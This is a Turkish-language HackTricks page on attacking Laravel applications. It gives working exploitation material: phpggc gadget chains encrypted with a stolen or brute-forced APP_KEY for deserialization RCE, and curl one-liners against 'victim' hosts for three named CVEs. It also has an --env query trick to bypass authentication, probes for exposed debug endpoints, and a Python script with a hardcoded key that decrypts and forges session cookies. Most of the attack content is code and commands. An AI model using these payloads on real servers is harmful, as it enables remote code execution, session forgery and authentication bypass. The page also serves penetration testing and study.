Laravel

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Laravel SQLInjection

Bu konu hakkında bilgi için buraya bakın: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Şifrelemenin iç işleyişi (Laravel \u003e=5.6)

Laravel, altında HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (Illuminate\\Encryption\\Encrypter). Son olarak istemciye gönderilen ham şifre metni, şu şekilde bir JSON nesnesinin Base64'idir:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) varsayılan olarak düz metni serialize() eder, oysa decrypt($payload, $unserialize=true) şifre çözülmüş değeri otomatik olarak unserialize() eder. Bu nedenle 32 baytlık gizli APP_KEY'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized obje oluşturup magic methods (__wakeup, __destruct, …) aracılığıyla RCE elde edebilir.

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Üretilen string'i herhangi bir zafiyetli decrypt() sink'ine enjekte edin (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer tüm süreci otomatikleştirir ve kullanışlı bir bruteforce modu ekler:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


Gerçek dünyada görülen zafiyetli desenler

ProjeZafiyetli sinkGadget zinciri
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Sömürme iş akışı her zaman:

  1. 32-byte APP_KEY'i elde edin veya brute-force ile kırın.
  2. PHPGGC ile bir gadget zinciri oluşturun (ör. Laravel/RCE13, Laravel/RCE9 veya Laravel/RCE15).
  3. Serialize edilmiş gadget'ı laravel_crypto_killer.py ve elde edilen APP_KEY ile şifreleyin.
  4. Şifreli metni zafiyetli decrypt() sink'ine (route parametresi, cookie, session …) gönderin ve RCE'yi tetikleyin.

Aşağıda yukarıda bahsedilen her gerçek dünya CVE'si için tam saldırı yolunu gösteren kısa tek satırlık örnekler yer almaktadır:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Her yeni Laravel yanıtı en az bir şifreli cookie (XSRF-TOKEN ve genellikle laravel_session) ayarladığı için, public internet scanners (Shodan, Censys, …) leak milyonlarca şifrelenmiş metin üretir ve bunlar çevrimdışı olarak saldırılabilir.

Synacktiv tarafından yayımlanan araştırmanın ana bulguları (2024–2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 sunucu hala legacy CVE-2018-15133'e karşı savunmasız çünkü tokens doğrudan serialized data içeriyor.

  • Büyük anahtar yeniden kullanımı – Top-10 APP_KEY'ler, ticari Laravel şablonlarıyla gelen sabit kodlu varsayılanlar (UltimatePOS, Invoice Ninja, XPanel, …).

Özel Go aracı nounours, AES-CBC/GCM bruteforce throughput'unu ~1.5 billion tries/s seviyelerine çıkararak tüm datasetin kırılma süresini <2 dakikaya indiriyor.

CVE-2024-52301 – HTTP argv/env override → auth bypass

PHP'nin register_argc_argv=On olduğu durumlarda (birçok distroda tipik), PHP sorgu dizisinden türetilen HTTP istekleri için bir argv dizisi açığa çıkarır. Yeni Laravel sürümleri bu “CLI-like” argümanları parse etti ve çalışma zamanında --env=<value>'i dikkate aldı. Bu, herhangi bir URL'ye ekleyerek sadece mevcut HTTP isteği için framework ortamını değiştirmeye izin verir:

  • Hızlı kontrol:

  • https://target/?--env=local veya herhangi bir string'i ziyaret edin ve environment-dependent değişikliklere bakın (debug banners, footers, verbose errors). Eğer string yansıtılıyorsa, override çalışıyor demektir.

  • Etki örneği (iş mantığı özel bir env'e güveniyorsa):

  • Eğer uygulamada if (app()->environment('preprod')) { /* bypass auth */ } gibi dallanmalar varsa, geçerli kimlik bilgileri olmadan şu şekilde login POST göndererek doğrulanabilirsiniz:

  • POST /login?--env=preprod

  • Notlar:

  • İstek bazında çalışır, kalıcılık yok.

  • register_argc_argv=On ve argv'yi HTTP için okuyan savunmasız bir Laravel sürümü gerektirir.

  • “debug” env'lerinde daha ayrıntılı hataları ortaya çıkarmak veya environment-gated kod yollarını tetiklemek için kullanışlı bir primitive.

  • Hafifletmeler:

  • PHP-FPM/Apache için register_argc_argv'u devre dışı bırakın.

  • Laravel'i HTTP isteklerinde argv'yi yok sayacak şekilde güncelleyin ve production rotalarında app()->environment()'e dayanan güven varsayımlarını kaldırın.

Minimal exploitation flow (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravel İpuçları

Hata ayıklama modu

Eğer Laravel hata ayıklama modunda ise koda ve hassas verilere erişebileceksiniz.
Örneğin http://127.0.0.1:8000/profiles:

Bu genellikle diğer Laravel RCE CVE'lerini exploit etmek için gereklidir.

Fingerprinting & exposed dev endpoints

Üretimde açığa çıkmış bir Laravel stack'ini ve tehlikeli dev tooling'in expose edilmiş noktalarını tespit etmek için hızlı kontroller:

  • /_ignition/health-check → Ignition mevcut (CVE-2021-3129 tarafından kullanılan debug aracı). Kimlik doğrulama olmadan erişilebiliyorsa, uygulama debug modunda olabilir veya yanlış yapılandırılmış olabilir.
  • /_debugbar → Laravel Debugbar assets; genellikle debug moduna işaret eder.
  • /telescope → Laravel Telescope (dev monitor). Eğer herkese açıksa, geniş bilgi sızması ve olası işlemler beklenir.
  • /horizon → Queue dashboard; sürüm bilgisinin ifşası ve bazen CSRF korumalı işlemler.
  • X-Powered-By, cookie'ler XSRF-TOKEN ve laravel_session, ve Blade hata sayfaları da fingerprint oluşturmada yardımcı olur.
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'ı .env adlı bir dosyada saklar; bu dosyaya bazı path traversal yollarıyla /../.env üzerinden erişilebilir.

Laravel bu bilgiyi ayrıca debug sayfasında da gösterir (Laravel bir hata bulduğunda ve bu özellik aktifse).

Laravel'in gizli APP_KEY'ini kullanarak cookies'leri deşifre edebilir ve yeniden şifreleyebilirsiniz:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Etkilenen sürümler: 5.5.40 ve 5.6.x (5.6.0–5.6.29) (https://www.cvedetails.com/cve/CVE-2018-15133/)

Deserialization açığıyla ilgili bilgiyi şurada bulabilirsiniz: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Bunu şu araçla test edip exploit yapabilirsiniz: https://github.com/kozmic/laravel-poc-CVE-2018-15133
Veya metasploit ile de exploit yapabilirsiniz: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Başka bir deserialization: https://github.com/ambionics/laravel-exploits

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin